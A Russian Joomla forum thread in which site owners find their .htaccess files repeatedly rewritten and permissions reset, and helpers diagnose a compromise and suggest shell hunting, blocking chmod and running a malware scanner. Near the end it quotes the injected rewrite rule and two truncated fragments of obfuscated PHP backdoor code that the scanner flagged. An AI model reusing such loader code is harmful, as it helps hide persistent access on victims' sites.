Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 2164 Просмотров
*

Alina3000

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
Добрый день форумчане, нужна ваша помощь. Вообщем есть сайт viki54 ru. в .htaccess появляются записи RewriteRule
Спойлер
[свернуть]
И сайт перестаёт работать 500 ошибка, удаляю эти строки всё нормально, но потом опять со временем они появляются. доступ к файлу 444
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: В.htaccess появляются записи RewriteRule
« Ответ #1 : 12.01.2016, 09:25:07 »
Joomla была обновлена до 3.4.8 ?
Ищите шелл, через который хакер получает доступ к файлам сайта   и сканер айболит в помощь.
 Регистрация запрещена в настройках сайта в админке?
*

Alina3000

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #2 : 12.01.2016, 13:43:25 »
Joomla! 3.4.3
Спасибо большое, айболитом проверю. Регистрацию запретили в админке, был ник hanel87 в админке с супер правами, его удалили.
А подскажите что делает этот код который вставели?
*

voland

  • Легенда
  • 11030
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #4 : 18.04.2016, 08:55:21 »
Прошу совета, сам 3 дня не могу разобраться . В .htaccess появляется вод такой блок
Код
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
</IfModule>
Из-за него не открываются html  и php файлы созданные вручную на сервере, выдаёт ошибку 404.
К примеру есть форма обратной связи, она оправляет почту через call.php, если в строку ту что ниже
Код
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
дописываю к разрешённым форматам свой файл, всё работает, но через пару часов появляется сверху  опять этот блок, естественно без моей записи, и то что писал оказывается уже ниже и мои правки уже не работают.
Прошу совета как разрешить доступ к определённому файлу.
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: В.htaccess появляются записи RewriteRule
« Ответ #5 : 18.04.2016, 10:30:15 »
badya, выставите для .htaccess (а также для файла configuration.php) права доступа 644 (посмотрите, кстати, какие там установлены). Если не поможет, то выставите 444, но это паллиатив - нужно искать дырку. Не ставьте варез (взломанные платные и изменённые бесплатные расширения) - и не будет таких проблем.
« Последнее редактирование: 18.04.2016, 10:34:14 от Филипп Сорокин »
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #6 : 18.04.2016, 10:44:49 »
badya, выставите для .htaccess (а также для файла configuration.php) права доступа 644 (посмотрите, кстати, какие там установлены). Если не поможет, то выставите 444, но это паллиатив - нужно искать дырку. Не ставьте варез (взломанные платные и изменённые бесплатные расширения) - и не будет таких проблем.
Права на .htaccess стояли 0644, поставил 0444, посмотрю будут ли новые  записи появляться.
Просто интересно то, что у меня на joomle 4 сайта, и у всех в .htaccess появляется такая запись, в prastashop нет.
Вот я и думаю что это сама CMS правит .htaccess.
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: В.htaccess появляются записи RewriteRule
« Ответ #7 : 18.04.2016, 10:49:00 »
Цитировать
Вот я и думаю что это сама CMS правит .htaccess.
Это исключено. Вы подцепили вирус.
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #8 : 18.04.2016, 21:16:34 »
Это исключено. Вы подцепили вирус.
Поставил права на .htaccess файлы в 4 сайтах 0444, не прошло 5 часов, как права сменились на 0644, и запись появилась во всех снова
Код
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
</IfModule>
Скачал один из сайтов и проверил на вирусы, чисто.
Даже не знаю куда копать.  (((
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: В.htaccess появляются записи RewriteRule
« Ответ #9 : 18.04.2016, 21:51:14 »
Цитировать
Даже не знаю куда копать.  (((
Запретить выполнение функции chmod, с помощью которой можно изменить права, затем смотреть в error.log на имя файла, который пытается изменить права - это и есть вирус.
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #10 : 18.04.2016, 22:46:01 »
Запретить выполнение функции chmod, с помощью которой можно изменить права, затем смотреть в error.log на имя файла, который пытается изменить права - это и есть вирус.
Тут я уже в тупике, запретить выполнение chmod я не знаю как(( Знаний не хватает.  Пытался найти информацию в интернете как это сделать, увы не нашёл.  Спасибо за то что пытались помочь.
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: В.htaccess появляются записи RewriteRule
« Ответ #11 : 18.04.2016, 22:52:16 »
В панели управления хостингом можно. У меня стоит cPanel, там это делается в настройках PHP:
Ещё можно в php.ini, если у вас есть к нему доступ: ссылка на мануал
« Последнее редактирование: 27.02.2017, 15:35:20 от Филипп Сорокин »
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #12 : 19.04.2016, 09:10:48 »
В панели управления хостингом можно. У меня стоит cPanel, там это делается в настройках PHP:
Спойлер
[свернуть]
Ещё можно в php.ini, если у вас есть к нему доступ: ссылка на мануал
Спасибо за наводку, у меня тоже сpanel, поставил запрет на chmod в настройках php. Буду наблюдать.
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #13 : 20.04.2016, 10:37:20 »
С сожалению вы были правы, это вирус, спасибо за помощь.
*

Филипп Сорокин

  • Завсегдатай
  • 1918
  • 160 / 4
  • разработчик.москва
Re: В.htaccess появляются записи RewriteRule
« Ответ #14 : 20.04.2016, 10:45:39 »
Нашли? Если да, то надо сканировать сайт специальным сканером, например "Айболитом".
*

badya

  • Новичок
  • 7
  • 0 / 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #15 : 20.04.2016, 12:53:29 »
Нашли? Если да, то надо сканировать сайт специальным сканером, например "Айболитом".
Да, Айболитом нашёл, но решил доверить лечение профессионалу, я так, самоучка   ))), а он профи и берёт в принципе недорого.
Он мне посоветовал потом все сайты на Joomla обновить до последней версии после чистки.
Вот что Айболит считает вирусом, я HTML и CSS знаю, а php и скрипты для меня набор букв ))
…$s1[$i][$j]=$basea[$i*$dimension+$j];·$s2[$i][$j]= str_rot13($basea[($dimension*$dimension-1) -($i*$dimension+$j)]);·

…sxGCeyXbSw='));if(isset($_COOKIE['sP'])){$wp_l_=$_COOKIE['sP'];$wp_l_=md5($wp_l_ ).substr(MD5(strrev($wp_l_)),0,strlen($wp_l_));for($wp___l_=0;$wp___l_<15563;$w

А вот что пишет Google при поиске сайта по доменному имени
<<Возможно, этот сайт был взломан>>
Ещё раз спасибо за отзывчивость. Спасибо.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Затроились все записи в админке Joomla 3.10

Автор rimm

Ответов: 7
Просмотров: 474
Последний ответ 17.04.2023, 12:41:58
от sivers
Joomla 3.3.4 nginx и конфиг htaccess

Автор bagas

Ответов: 16
Просмотров: 4743
Последний ответ 29.03.2023, 12:33:18
от SolopoV
Убрать слеш на конце без.htaccess

Автор stardel

Ответов: 6
Просмотров: 3101
Последний ответ 26.01.2022, 20:05:09
от SolopoV
Правильный ли.htaccess и robots от дублей

Автор ALEXRAW

Ответов: 5
Просмотров: 1184
Последний ответ 03.05.2021, 21:01:43
от gartes
Редирект в htaccess на https всех страниц, кроме одной

Автор samell79

Ответов: 5
Просмотров: 1177
Последний ответ 07.10.2020, 20:41:23
от rsn